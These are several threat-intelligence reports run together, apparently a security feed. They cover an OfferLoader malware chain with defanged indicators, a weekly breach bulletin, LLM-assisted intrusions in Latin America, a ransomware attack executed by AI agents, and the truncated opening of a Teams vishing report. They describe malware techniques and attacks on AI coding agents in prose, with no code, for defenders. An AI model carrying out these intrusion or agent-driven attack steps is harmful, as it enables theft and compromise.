providing the social engineering instructions required to guide users through downloading and executing an extraction tool. Based on our analysis of the collected samples, we observed the loader being delivered alongside a legitimate version of WinRAR, renamed to .store. The installer contains no embedded application files; all malicious logic is contained in the compiled Pascal [Code] section, which triggers when the installation page is displayed. In two separate intrusion sets we discovered that the ZIP file contained OfferLoader masquerading as a windirstat.exe installer that initiates the compromise by unpacking windirstat.tmp. This temporary file transmits an initial tracking beacon to voyagemist[.]space. This is another gating mechanism: depending on the structure of the beacon, one of two text files will be retrieved. They either contain “no” to signal that the loader should not unpack further stages, or “ok” to signal all offers will be deployed. Following this check-in, the process spawns three child processes: eld0.exe, eld1.exe and eld2.exe. Each child process corresponds to a different malware campaign. The loader passes specific affiliate-tracking parameters to each process via a command line. Figure 6 illustrates the entire OfferLoader infection chain at the time of the intrusion. OfferLoader's role ends once the three offers are spawned. From this point forward, each child process operates as an independent malware campaign with its own infrastructure, C2 protocol and objectives. The following sections analyze what each offer delivers. Insomnia RAT simultaneously distributes two payloads: An upgraded variant of a Node.js backdoor (reported by Walmart Global Tech in 2025) A complementary Python backdoor We have dubbed these twin payloads Insomnia RAT, due to the user-agent string used for C2 communications: insomnia/2023.4.0 Windows. Figure 7 shows the full infection chain that delivers Insomnia RAT’s twin payloads. Eld0.exe drops the a.dll payload and spawns a hidden PowerShell process to download and execute t.ps1. This double-stage installer script disables Windows Defender protections, adds the entire C:\ drive as an exclusion, suppresses security notifications and deploys the two Insomnia RAT backdoors. t.ps1 also downloads and sets up the environment needed to execute both backdoors by installing Python and Node.js on the victim’s machine. Node.js is hidden from the system's Add/Remove Programs list by setting SystemComponent=1 in the registry. The first part of Insomnia RAT is a Node.js agent downloaded from stryper[.]info/aa.js. While the prior variant targeted Windows, Linux and FreeBSD with a single payload, this iteration targets Windows and macOS using platform-specific C2 server lists. It also deploys a companion Python agent as a redundant fallback, ensuring persistent access if one runtime environment is detected or removed. The backdoor collects the victim's MachineGuid, universally unique identifier (UUID), hostname and operating system details. It then contacts its C2 servers via an HTTPS POST request to /d using a User-Agent string, insomnia/2023.4.0 Windows to disguise itself. The C2 server responds with a JSON array containing commands. These specify a payload type (node, cmd, ps1, sh, or ow for a self-update) and a download URL. Results are reported back to the /e endpoint. To establish persistence, the installer registers a scheduled task named Maps Performance Task under \Microsoft\Windows\Maps\. This mimics a legitimate Windows task, executing the backdoor hourly and at system startup under the SYSTEM account. The same t.ps1 script installs a second, redundant agent. This Python script is downloaded from aa.amazingshield[.]xyz. The installer downloads a legitimate Python distribution and registers a second scheduled task, OOBETaskScheduler, under \Microsoft\Windows\Servicing\. The Python agent is simpler than its Node.js sibling, but follows the same C2 protocol pattern: POST requests to /d for tasks and POST requests to /e for error reporting. The agent collects the MachineGuid, OS product name, hostname and processor architecture. The Python agent used crowdstri[.]com as its C2 domain. This appears to be a deliberate typosquat of crowdstrike[.]com, designed to blend into logs and evade quick security reviews. The eld1.exe chain terminates in a previously undocumented tunnel payload. The chain uses least-significant-bit (LSB) steganography to deploy the final payload. Figure 8 shows the full infection chain of Operation B. Rather than dropping an executable directly to disk, eld1.exe extracts a ZIP archive from a BMP image resource using LSB steganography. The result is the payload archive, ProcorTrex.zip, which contains wscl.exe, a previously unreported WebSocket-based tunneling RAT. We named this RAT ARKTunnel, based on the attacker's fabricated company name rotation of EarthKark and TamarkLark. ARKTunnel installs itself as a Windows service named wscl-13 or msvcsrvc with a delayed autostart configuration. The RAT supports TCP and UDP tunneling, as well as file execution. The C2 server address, reg.pcsdkflyer[.]ca, is decoded from a 39-byte configuration blob using Base64-decoding followed by an XOR decryption routine. The portable executable (PE) metadata of wscl.exe contains a fabricated company name, TamarkLark Corporation, and a fictitious product name, TamarkLark Manager, which led us to suspect that other ARKTunnel samples might use additional fabricated company names. The investigation revealed at least 50 samples deployed over the course of a year. The developer rotated through at least two fake company identities while maintaining an identical icon, binary structure and deployment pattern: EarthLink in May 2025: EarthLink is the name of a legitimate internet provider, however the attackers used this name coincidentally in the file version information. The attackers did not use or impersonate EarthLink resources or identity. EarthChain from May 2025–April 2026: EarthChain is also real company name that the attackers used coincidentally. Likewise, also they did not use or impersonate the company’s resources or identity. EarthKark: A fake identity, used from February 2026–June 2026 TamarkLark: A fake identity, used from March 2026–June 2026 All of the samples share the same wscl.exe filename pattern and GUID-based temp directory extraction pattern, indicating that they are variants of the same family. Despite 50 samples spanning a full year of development and four identity rotations, ARKTunnel has attracted no public reporting or dedicated tracking, with each sample individually flagged as a generic Trojan rather than recognized as a tunneling implant. The eld2.exe payload installs a Chrome browser hijacker that we have named Docro Hijacker. The hijacker revives a browser-hijacking technique that has resurfaced periodically since 2015, now re-engineered to bypass updates to Chrome's integrity protections. While this iteration closely mirrors a proof-of-concept detailed by Synacktiv in 2025, this campaign marks the updated technique’s first documented instance of in-the-wild deployment. Figure 9 shows the Docro Hijacker installation chain. eld2.exe is an Inno Setup package, and much like its loader, it extracts and runs eld2.tmp which contacts the affiliate’s extentrack[.]com install tracker. eld2.tmp drops and loads Adblock.dll, which bypasses Chrome's Secure Preferences HMAC-SHA256 integrity check. The DLL extracts Chrome's HMAC key from resources.pak, computes valid HMAC signatures for the modified preference values and writes them directly to the Secure Preferences file. This file functions as an anti-tamper mechanism for browsers by storing a validated copy of the user's settings. This manipulation allows the malware to execute two primary actions: Search hijacking: Changes the default search provider to mqsearch[.]com, a domain that masquerades as a search engine Extension installation: Installs the docro extension, a Chrome Manifest V3 extension located at C:\ProgramData\DocsHelper\docro\ The docro extension uses Chrome's declarativeNetRequest API to dynamically rewrite network requests. Upon installation, it contacts vendralo[.]info to retrieve a unique per-victim UUID and fetch a set of network rewriting rules that are refreshed hourly. These rules are used to hijack and monetize search results in the victim's browser. When the victim performs an internet search, across any of more than 190 Google country-code domains, the extension loads a script from drelto[.]info/farlix into the search results page. Because the script runs within the search engine's own origin context, it has full access to the page content. This enables the operator to inject advertisements into organic search results, rewrite affiliate links to capture referral revenue and/or redirect clicks to attacker-controlled destinations. These actions are functionally transparent to the user and visually indistinguishable from the legitimate search page. The extension also checks vendralo[.]info for updates via /extensionInstaller/updateChromeExtension, allowing the operator to silently rotate to a new extension version at any time. Install telemetry is reported to finersto[.]com and extentrack[.]com. With more than 50 unique samples contacting mqsearch[.]com according to VirusTotal, Docro Hijacker appears to be a mature, independent monetization module. The actors behind CL-CRI-1171 did not use sophisticated evasion techniques, but focused their efforts on building a loader that is exceptionally difficult to track due to its clever gating mechanisms. Our investigation highlights how the authors of OfferLoader, by being intentional about its simplicity and by hiding all of its functions as bytecode within a package, designed the malware to evade scrutiny while quietly building a massive, mature infection funnel. Although OfferLoader was easy for defenders and security products to miss, its gating mechanisms were not, and the sheer number of them was our first clue that more widespread activity was occurring. While a loader that just drops a payload is seemingly routine, this mechanism allowed possibly thousands of rotational malware bundles, including entirely new and undocumented malware families, to remain hidden from standard security attention. Ultimately, this case serves as a critical reminder for defenders: Treating commodity loader infections as minor, routine events overlooks the dangerous payloads and campaigns that might be tied to them. Palo Alto Networks customers are better protected against the threats described in this report through the following products and services: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Through continuous cloud-based analysis, Advanced WildFire is designed to proactively identify and block OfferLoader samples as well as downstream payloads, including Insomnia RAT, ARKTunnel, and Docro Hijacker. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM can help detect and prevent the OfferLoader chain and all three payload branches described in this article. Cortex customers benefit from multiple layers of protection against this threat, including: - YARA-based signatures targeting the OfferLoader family and its staged payloads - Behavioral detection rules that help prevent: - Malicious Chrome extension setup - Untrusted service installations used for persistence - Trojanized installer execution patterns If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. SHA256 hash: 7f792c45de1e28fd42ac44c9444f157a2161742d130bac336c0e991aabbb112c File name: windirstat.exe File type: PE32 executable, Inno Setup 6.7.1 File description: OfferLoader trojanized WinDirStat installer delivered via SEO-poisoning SHA256 hash: fc485882626512e7ff82a1d7cd8e8fb3e9751b026d97e682d6908aefff1f2d73 File name: windirstat.tmp File type: PE32 executable, Inno Setup unpacked stage File description: Unpacked WinDirStat stage SHA256 hash: 3052bd320a34e12ee694811ed0578797477dfd480c664491e509ed15ce1a6961 File name: eld0.exe File type: PE32 executable, Inno Setup 6.3.0 SetupLdr File description: Insomnia RAT initial loader SHA256 hash: 25558ea78c4aa0fdd0f45fafcaa546d3115dc5806809d144a5801a40e48fd4c5 File name: eld0.tmp File type: PE32 executable, Inno Setup unpacked stage File description: Unpacked loader stage SHA256 hash: 9b0d9cbc0fd4a7bae8b78a15dfbe63052779414ad725845732c4a0083008da69 File name: a.dll File type: PE32 DLL File description: Executes the PowerShell downloader for the Node.js and Python second stages SHA256 hash: ceb30a5eb9ad9d9c6712c80726df16f96f99d9fc0753be241b00b4d636eb576e File name: t.ps1 File type: PowerShell File description: Insomnia RAT PowerShell loader SHA256 hash: cf184d04ca31fb2b6b7efd85399c29c1136b539153e137ceb3877b1b905791de File name: .py File type: Python script File description: the Python-based component of the Insomnia RAT dual payload. SHA256 hash: 62d49d0c78207ec2452cc8a30501db771c9edbae89889e41a7dd227551243e8e File name: aa.js File type: JavaScript File description: the Node.js-based component of the Insomnia RAT dual payload. URL: hxxps[:]//stryper[.]info/t.ps1 Description: Stage-2 PowerShell installer for the Node.js and Python agents URL: hxxps[:]//stryper[.]info/aa.js Description: Stage-3 Node.js agent URL: hxxp[:]//aa.amazingshield[.]xyz/33244556546.py Description: Stage-3 Python agent Domain: stryper[.]info Description: Second-stage PowerShell and Node.js agent host Domain: aa.amazingshield[.]xyz Description: Python agent host Domain: crowdstri[.]com Description: CrowdStrike-typosquat C2 for the Python agent SHA256 hash: aaebc8c07de485be6d1bfa956668c5e18aa1ff5588dfe84672e20ae90b4560f1 File name: eld1.exe File type: PE32 executable File description: LSB-steganography dropper. The attacker forged the PE version-info resource to mimic a popular test proctoring application. SHA256 hash: e05bc22afbc5ddd50b49c85ee169dd13318000d38286de2b8bcff98217256a8d File size: 92,657 bytes File name: procorTrex.zip File location: C:\Users\Public\procorTrex.zip File type: ZIP archive File description: ZIP carved from the eld1.exe BMP steganography payload SHA256 hash: b367762140ae7f5098230b8a5da738c9241f286281ec9439dd6ca581fc87989c File size: 245,248 bytes File name: wscl.exe File type: PE32 executable File description: WebSocket tunneling RAT ARKTunnel resource icons: SHA256 hash: d8d783f8e050a6e394f3c0aa5e2bc73a38d822e55fbc39c0648cbff566de3cdf File description: Resource Icon shared across ARKTunnel samples SHA256 hash: 06e0afd01bbc6c9d5dc16c3165089b233dc071e1f251abd06235d1b9166cdac5 File description: Resource Icon shared across ARKTunnel samples Domain: reg.pcsdkflyer[.]ca Description: wscl.exe WebSocket RAT C2 SHA256 hash: 2c6e11027b011042c9a118fc20728f8f4ebb6be8795cc84cc9a45622c297d354 File name: eld2.exe File type: PE32 executable, Inno Setup installer File description: Branch C installer that drops Adblock.dll and the docro Chrome extension SHA256 hash: 553ce594c9c6afdd4794fddc28c194e3bc3c1b052310e5099c58ac15bab72104 File name: eld2.tmp File type: PE32 executable File description: Inno Setup unpacked stage SHA256 hash: fdcc95b7791c0d6590dcf1a412dc9fcc92ad2095818d1b78368b31efad012007 File size: 3,041,280 bytes File name: Adblock.dll File location: %TEMP%\Adblock.dll File type: PE32 DLL File description: Chrome Secure Preferences HMAC-SHA256 bypass DLL that sideloads the docro extension and hijacks the default search provider Docro extension path: File location: C:\ProgramData\DocsHelper\docro File description: Manifest V3 Chrome extension sideloaded by Adblock.dll Domain: vendralo[.]info Description: Per-victim UUID and hourly rule delivery Domain: finersto[.]com Description: Extension install and start telemetry Domain: drelto[.]info Description: SERP-injection script host Domain: mqsearch[.]com Description: Hijacked the default search provider endpoint Domain: extentrack[.]com Description: Docs Helper install-success and install-failure callback Domain: animalview[.]xyz trickflag[.]info suitstraw[.]info connect.fuelleg[.]info vesselsystem[.]xyz minewave[.]info collartitle[.]info boardmagic[.]info placespoon[.]xyz needcherries[.]online Please note: While Velvox is a real company, the attackers used its name coincidentally. They did not use or impersonate the company’s resources or identity. “WinYahoo” PUP Modifies Chrome Secure Preferences – Malwarebytes NodeJS backdoors delivering proxyware and monetization schemes – Walmart Global Tech blog (Channels were taken down after we notified Google.)

For the latest discoveries in cyber research for the week of 7th Setpember, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Thomson Reuters, a global information and technology company, has disclosed a breach of its C-Track court case-management platform affecting courts across 11 US states and Canada. An unauthorized party obtained C-Track files containing court records, including names and other personal information. Hit, a major Slovenian gambling and tourism operator, has  sustained a cyberattack that forced six casinos to close for about three days. Operations have resumed, but some table games, bingo, loyalty services, cash registers, and hotel systems remained unavailable during restoration, while some employees were temporarily furloughed. Baylor Genetics, a US clinical diagnostic laboratory, has disclosed a data breach affecting 2.8M patients and employees after unauthorized access to part of its IT environment in June. Stolen data included names, birth dates, medical testing and laboratory results, health insurance information, and some Social Security numbers. Global cloud storage provider Dropbox has disclosed unauthorized access to about 5,000 accounts after attackers exploited Lenovo’s email verification process. Fraudulent Lenovo IDs created with victims’ email addresses enabled access without Dropbox passwords, while files were viewed or downloaded from affected accounts. AI THREATS Researchers have  detailed an AI-assisted ransomware intrusion that compromised an enterprise network in under 10 hours. Autonomous agents mapped internal systems, mined code repositories, obtained root credentials from a secrets manager, and abused build pipelines and cloud resources, compressing activity that normally requires substantially more human effort. Security researchers have  disclosed GitSpawn, a vulnerability class affecting AI coding agents including Claude Code, Codex, Cursor, Goose, Qwen Code, Grok Build, and Hermes. Malicious repository Git configurations can trigger arbitrary code execution as the developer when agents automatically gather project context, in some cases before trust prompts. Researchers have  showcased how an AI coding assistant can be used to port a known PLC exploit to a different controller model, producing working payloads after guided analysis. While the process still required significant manual effort, it demonstrated how AI can accelerate exploit development for industrial systems. VULNERABILITIES AND PATCHES SonicWall has  addressed CVE-2026-83548 and CVE-2026-83549, critical vulnerabilities affecting SMA 1000 remote access gateways. CVE-2026-83548 is a pre-authentication SSRF flaw rated CVSS 10.0, while CVE-2026-83549 enables post-authentication remote code execution. Both were exploited as zero-days and affect SMA 6210, 7210, and 8200v appliances. JFrog has  addressed CVE-2026-82329, a critical CVSS 9.8 authentication bypass affecting self-hosted Artifactory deployments. The flaw allows unauthenticated attackers to obtain administrator access tokens and take control of repositories. Exploitation was observed shortly after disclosure against internet-exposed systems, while JFrog Cloud environments were patched by the vendor. Check Point IPS provides protection against this threat (JFrog Artifactory Authentication Bypass (CVE-2026-82329)) Security researcher have  unveiled  FalconFlank, a zero-day privilege escalation technique affecting CrowdStrike Falcon on Windows 11 25H2 and Windows Server 2025. The proof-of-concept abuses Falcon’s Microsoft Office macro-removal remediation behavior, allowing a low-privileged local user to obtain elevated access on affected systems THREAT INTELLIGENCE REPORTS Check Point Research has  uncovered a Chinese-speaking cybercrime cluster, dubbed Gambling Goblin, that compromises Brazilian government and education websites. The group installs malicious Apache modules to proxy visitors to gambling and phishing pages while manipulating search rankings. Its infrastructure spans multiple languages and shows links to Earth Berberoka. Check Point Threat Emulation and Harmony Endpoint provide protection against this threat Check Point Research has  analyzed JSCeal, a cryptocurrency-focused information stealer compiled into V8 bytecode and executed through a bundled Node.js runtime. Researchers developed a static deobfuscation pipeline that recovered readable code, revealing keylogging, browser credential theft, HTTPS interception, additional encryption, and newer variants targeting macOS systems. Check Point Threat Emulation and Harmony Endpoint provide protection against this threat Researchers have  mapped a campaign by Iran-linked Mirage Kitten that uses fake LinkedIn coding tests to deliver NodeRabbit and PollCat malware. The malicious tests are distributed through cloud links and install cross-platform implants. Targets include fintech and aviation organizations in Egypt, Ethiopia, and Afghanistan. Researchers have  analyzed new macOS delivery activity linked to North Korea’s Contagious Interview campaign. Attackers use fake job interviews and trojanized disk images or installer packages impersonating legitimate Mac applications. The samples connect to infrastructure previously associated with malicious Git hooks and VS Code task files. The post 7th September – Threat Intelligence Report appeared first on Check Point Research .

We have analyzed two ongoing, multi-stage network intrusion and data-exfiltration campaigns targeting organizations in Latin America. Corroborating recent findings from the broader threat intelligence community, we observed attackers leveraging artificial intelligence (AI) to enhance their capabilities. Our investigation categorizes this activity as follows: Mexican transportation campaign: This campaign impacted a transportation organization, alongside federal government ministries and municipal water utilities in Mexico and Ecuador. Operators relied on living-off-the-land (LotL) techniques. They executed iterative batch scripts to manipulate and exfiltrate sensitive data, and self-hosted NextChat instances on operational infrastructure. We track the activity in this cluster as CL-CRI-1131. Brazilian financial campaign: Attackers targeted the Brazilian financial sector. We observed an expansion of previously reported targeting of vulnerable web servers in a job-themed phishing campaign. The attackers employed custom remote access Trojans (RATs) and tunneling tools, including a Go-based SOCKS5 proxy with iterative filenames that suggest AI-enablement. We track the activity in this cluster as CL-CRI-1163. We track them as two separate activity clusters with distinct geographic focuses. However, the technical and behavioral overlaps between CL-CRI-1131 and CL-CRI-1163 highlight shifting trends in Latin American targeting and threat actor tooling. Both clusters have overlapping SOCKS5 relay infrastructure and they both rely on AI to orchestrate operations via commercial large language models (LLMs). This signals a broader evolution in the regional threat landscape. Rather than isolated incidents, these clusters demonstrate how diverse threat groups in Latin America are independently adopting advanced proxy networks and AI integration to streamline their execution. Palo Alto Networks customers are better protected from the threats discussed here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. During an April 2026 compromise, the attacker’s host-based operations reflected the trial and error of LLM usage. Infrastructure associated with the campaign persisted into June 2026 and exposed targeting profiles of the attacker. During an intrusion as part of CL-CRI-1131 activity in April 2026, we observed the attacker struggling to gather sensitive data. After repeated attempts to dump the Security Account Manager (SAM) registry hive and the domain controller NTDS.dit file, the attacker created shadow copies across multiple drives before copying files, as shown in Figure 1. This occurred while the attacker used a series of numbered batch scripts to collect sensitive data from the compromised host, as shown in Figure 2. The attackers inserted a permissions check to ensure successful file writing to the collection directory. These trial-and-error actions and successive script fixes are consistent with LLM usage. After struggling to collect these files, we observed attackers troubleshooting connectivity with infrastructure at 62.171.185[.]97. Pivoting on 62.171.185[.]97, the IP address used in CL-CRI-1131 activity for data exfiltration, we discovered an active Let's Encrypt TLS certificate using the domain m-doxa-apodo.duckdns[.]org and following a unique dynamic DNS naming standard. Searching for the m-doxa prefix revealed that attackers established the infrastructure for the campaign in February 2026 using a single, consolidated multi-Subject Alternative Name (SAN) certificate. This single certificate reveals five active subdomains. These subdomain names indicate their operational functions and intended Mexican federal government targets, as Table 1 shows. Table 1. Subdomains and their likely operational capabilities and targets. In February 2026, following the initial window of activity reported by CloudSEK, attackers deployed a single-SAN certificate during this campaign. The certificate was configured to secure only one specific domain: m-doxa-apodo. However, as the operation evolved, so did the infrastructure. By April 2026, and again in June 2026, attackers rotated their infrastructure and generated new multi-SAN certificates. Table 2 shows, by date, the certificates and hosts used for CL-CRI-1131 activity, demonstrating a timeline for the associated infrastructure. Table 2. Certificate procurement timeline. In a previous report by Gambit, The AI-Assisted Breach of Mexico’s Government Infrastructure [PDF], the February 2026 activity was notable for using multiple LLMs. The report by CloudSEK linked above detailing activity from June 2026 tracks the activity we call CL-CRI-1131 as Operation Escaneo. These reports describe attackers using multiple LLMs, including Claude and GPT-4.1 to troubleshoot issues faced by the attackers across their campaigns. We discuss the attackers using NextChat as part of their broader LLM process. The IP address 178.128.87[.]160 was used in CL-CRI-1131 activity during the associated April and June 2026 compromises. This address hosted an instance of the open-source tool NextChat on TCP port 3000. Figure 3 shows an example of the associated NextChat user interface, as it would look from a web browser window. NextChat is an open-source web interface where users can load and interact with multiple models. NextChat allows operators to compare across models and ensure prompts are hosted on attacker-controlled infrastructure. Beyond revealing new targets, tracking this infrastructure provided a critical window into the activity cluster's backend operations. Given the initial failures to extract data from the host combined with the NextChat interface on this backend, we assess that the attackers relied on LLMs to generate the required workaround scripts. Integrating AI into the operational infrastructure is not unique to this incident. We observe an identical technical setup when pivoting to a secondary campaign targeting the Brazilian financial sector. Unlike the Mexican transportation campaign, the Brazilian financial campaign we track as CL-CRI-1163 involved homebrewed malware. We observed that the attackers behind CL-CRI-1163 likely gained initial access through a job-themed phishing compromise. Despite trading built-in Windows utilities for custom-built implants, the underlying operational shift remains consistent in both campaigns. Exposed staging infrastructure revealed operational scripts with filenames that suggest an LLM dynamically generated them rather than a human developer. The apparent presence of this AI setup, deployed alongside advanced proxy networks, reinforces the conclusion of a broader regional trend. Even for attackers capable of deploying custom malware, an AI-driven backend serves as a force multiplier to populate directories with exploit scripts, streamline execution and lower the barrier to entry for managing complex post-exploitation workflows. In February 2026, we observed that attackers associated with CL-CRI-1163 achieved initial access through a resume-themed phishing email attachment. After attackers dropped multiple RATs, we observed a similar iterative naming structure, likely due to the attackers' failure to install their tool set. We observed attempts to install versions 1–8 of a Go-based reverse SOCKS5 tunneling tool named SockTz from a compromised WordPress site. Figure 4 shows the attempt to execute version 8, named socktz_v8.exe. Likely due to failure to install the SockTz malware and open a successful proxy connection, attackers behind CL-CRI-1163 pivoted to attacker-controlled infrastructure to retrieve version 9, named socktz_v9, as Figure 5 shows. Researchers previously identified this SockTz proxy tool and 167.148.195[.]53 tied to persistent targeting of vulnerable JBoss servers. Where previous reports identified different versions of this tool across campaigns, we observed installation attempts of versions 1–9 in a two-hour window. SockTz installers were hosted along with hundreds of campaign scripts on an open directory at 167.148.195[.]53. Similar to the SockTz version numbers and the CL-CRI-1131 operations, the open directory associated with this CL-CRI-1163 activity exposed iterative scripts with appended identifier _output, indicating the attackers employed LLMs throughout the campaign. A partial list of the files is shown in Figure 6. In addition to exposing scripts across multiple phases of the attack chain, attackers appended exploit filenames with descriptive adjectives. This suggests that the attackers employed iterative, language model-driven development: exploit_creative.py, exploit_careful.py and rce_focused.py. The threat actors behind the CL-CRI-1131 and CL-CRI-1163 campaigns have enhanced their technical capabilities by incorporating commercial LLMs into their workflows. This integration enables them to author advanced proxy configurations and dynamically address complex execution failures. However, the infrastructure they deployed to leverage this AI became their Achilles' heel. Exposing an open NextChat directory to the public internet reveals a fundamental lack of operational maturity. The AI provided the necessary tactical workaround to extract the Active Directory database, but the human operators failed to secure the staging server. This left their entire playbook, prompt history and staging scripts visible to threat researchers. This highlights a critical vulnerability for defenders to exploit. As less skilled and experienced actors adopt AI to accelerate their attacks, their foundational operational security (OpSec) failures remain the most reliable way to track and dismantle their operations. The CL-CRI-1131 and CL-CRI-1163 operations orchestrated in the Mexican transportation and Brazilian financial sector campaigns highlight a notable evolution in the regional threat landscape. Through these campaigns, we observe attackers leveraging AI to enhance their capabilities. Whether manipulating built-in Windows utilities or deploying custom-built proxy networks, these operators rely on commercial LLMs to overcome tactical hurdles and streamline their execution. However, this rapid technical acceleration is offset by fundamental operational security failures. Exposed staging directories, unsecured NextChat interfaces and structured multi-SAN certificates provide defenders with a clear roadmap of the attacker's infrastructure. By pivoting on these OpSec oversights, defenders can proactively track the activity and disrupt the attackers' campaigns. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM are designed to help prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, intended to prevent both known and unknown malware from causing harm to endpoints. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Domains: m-doxa-apodo.duckdns[.]org m-doxa-geo.duckdns[.]org m-doxa-intel.duckdns[.]org m-doxa-repuve.duckdns[.]org m-doxa-sre.duckdns[.]org m-doxa-vacunas.duckdns[.]org Certificate SHA-256 Hashes for Fingerprints and Corresponding Hosts: 46ac289ce0c13666de616446f5d5a68da8bd150f4f065c3bec02f63776d3899c - 178.128.87[.]160 4e218e70afdbb116209ec0ebe8fc556e296e69648aa4e0425b83c0e863a8fee5 - 178.128.87[.]160 7d766942ef34542cee39c852286599958c4c2e23187010c4d38dbf88fcb40bf8 - 165.22.184[.]26 SHA-256 hashes: a38b2cf8beff32a276eed8783723ecf8cc53d7dc88669e1b998dddc4db6fe996 87bf8bc8b4a2cf34f0af1afe161f123a3d200e77f6c6f41b81bf6ae66ee172ec URL: hxxp[:]//167.148.195[.]53:8888/socktz_v9.exe

Unit 42 responded to an incident where a human attacker used frontier AI to breach an enterprise network autonomously as part of a ransomware attack. The agents breached the company's security layers in a methodical manner, each targeting a different layer of defense to achieve a shared goal. The impact was at the scale of a coordinated effort from multiple red teams, which would normally take human operators around two weeks. The threat actor told us in negotiations that they leveraged frontier AI models and attack-specific agentic AI frameworks. By shifting execution to an automated loop, the attacker compressed weeks of methodical intrusion tradecraft (using more than 50 MITRE ATT&CK techniques) into less than 10 hours. After they gained initial access, the attacker used agents to map the internal architecture, raid source repositories and seize root credentials. The agents also triggered unauthorized continuous integration/continuous delivery (CI/CD) builds and claimed master keys to the victim's cloud AI infrastructure. What made the attack stand out was AI-assisted operational efficiency, without the need for a novel zero-day or super elite tradecraft. The attacker left tactical execution to AI agents that monitored, evaluated, acted and re-planned in real time, increasing speed throughout the attack chain. The attacker also directed the agent to leave behind a “report” on the organization’s security posture: an 80-page, technical audit detailing dozens of exploited findings. The adversary ran their operation using current AI-enabled software development processes. We observed multiple indicators consistent with AI usage: LLM calls to multiple frontier AI agents in parallel Structured Markdown files passing information between agents and sessions Custom scripts (assessed with high confidence to be AI-generated due to UI elements) managing dynamic operations The 10-hour operational timeline included the following: Infiltration and mapping: The actor breached a public API endpoint to tunnel into the network, deploying an automated recon agent to map internal microservices. Secrets harvesting: Sub-agents combed enterprise code repositories, extracting hard-coded tokens and service passwords. Privilege takeover: Using exposed tokens, the actor infiltrated the secrets management system, harvesting master administrative credentials to seize control of root system access. Pipeline exploitation: The actor hijacked an enterprise code application via custom workflows to exfiltrate cloud access keys. They attempted to plant backdoors in Terraform configurations, but hard branch-protection controls stopped this. AI infrastructure hijacking: Using stolen cloud keys, the actor turned the victim’s AI endpoints into post-compromise infrastructure — using the company’s compute power to perpetrate future moves. Figure 1 maps the AI-orchestrated workflow. For illustration, Table 1 below maps some of the techniques used against the MITRE ATT&CK and ATLAS frameworks: Table 1. Major MITRE ATT&CK and MITRE ATLAS techniques used by the attacker. This incident exposes how an attacker who understands how to deploy frontier AI agents effectively can dramatically speed up the pace of their attack. We assess that attackers will increasingly add AI agents to their tool sets. Organizations should take note of the following to address agentic attacks: AI agents reduce the time between steps in the attack flow: AI agents in this attack were designed to parse raw tool output and quickly take next steps, speeding up the overall attack flow. AI agents leave recognizable indicators: Defenders can identify agentic attacks by watching for indicators such as the use of structured Markdown, Python caches and paired asset folders. Attackers can use AI to establish redundant persistence across the environment: In this incident, the attacker used AI agents to efficiently establish overlapping persistence across SSH keys, serverless functions, container restart policies, cloud identities and CI/CD pipelines. Using AI agents can make it easier for an attacker to maintain and test this entire portfolio in parallel. Attackers can use an organization’s AI tools as post-compromise infrastructure: Attackers can hijack enterprise AI services to assist in their attacks. This allows threat actors to hide orchestration traffic among expected traffic, and offload the financial cost onto the victim. Defending against automated agent loops requires matching the speed and adaptability of AI-driven attacks: Execute synchronized containment: Deploy automated playbooks that simultaneously revoke credentials, terminate OAuth sessions, freeze CI/CD pipelines and isolate cloud accounts across all operational planes. Govern AI as core infrastructure: Inventory every model endpoint, API key, Model Context Protocol (MCP) gateway and AI tool integration. Apply strict rate limits, least-privilege policies and diagnostic logging. Detect behavioral loops: Hunt for operational loops including bursty API requests, rapid 401/200 HTTP state shifts, parallel authentications and sudden model usage from unexpected identities. Lock down DevOps pipelines: Enforce mandatory, multi-party code reviews and immutable branch protection on all infrastructure-as-code repos to block automated backdoor injection. Learn more about how Unit 42 can help defend against AI-driven threats through Unit 42 Frontier AI Defense.

Between January and April 2026, we uncovered a coordinated social engineering operation that leveraged external Microsoft Teams accounts to masquerade as IT help desk personnel. Our telemetry reveals that this operation targeted more than 150 employees across at least 10 companies in various industries. We call this activity Spring Ring. What seems like a benign chat is in fact a voice phishing (vishing) call, during which adversaries try to coerce victims into executing remote monitoring and management (RMM) tools or custom malware. In a more advanced variant, attackers transitioned from a vishing call to a full-blown Microsoft NT LAN Manager (NTLM) relay attack aimed at an organization's domain controller (DC). We provide a technical breakdown of this operation’s attack lifecycle across two observed campaigns, both illustrating vishing manipulation that resulted in the attempted payload delivery via two distinct attack vectors. These two campaigns demonstrate the weaponization of communication platforms as identity becomes a primary attack vector. Palo Alto Networks customers are better protected from the threats described here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Spring Ring’s activity mirrors a broader trend in the threat landscape toward social engineering campaigns. According to our recently published Insights blog, threat actors have increasingly moved away from traditional phishing techniques toward trusted collaboration tools. In the first four months of 2026, phishing alerts from collaboration tools represented 42% of all phishing alerts in Cortex, up from 30% of all phishing 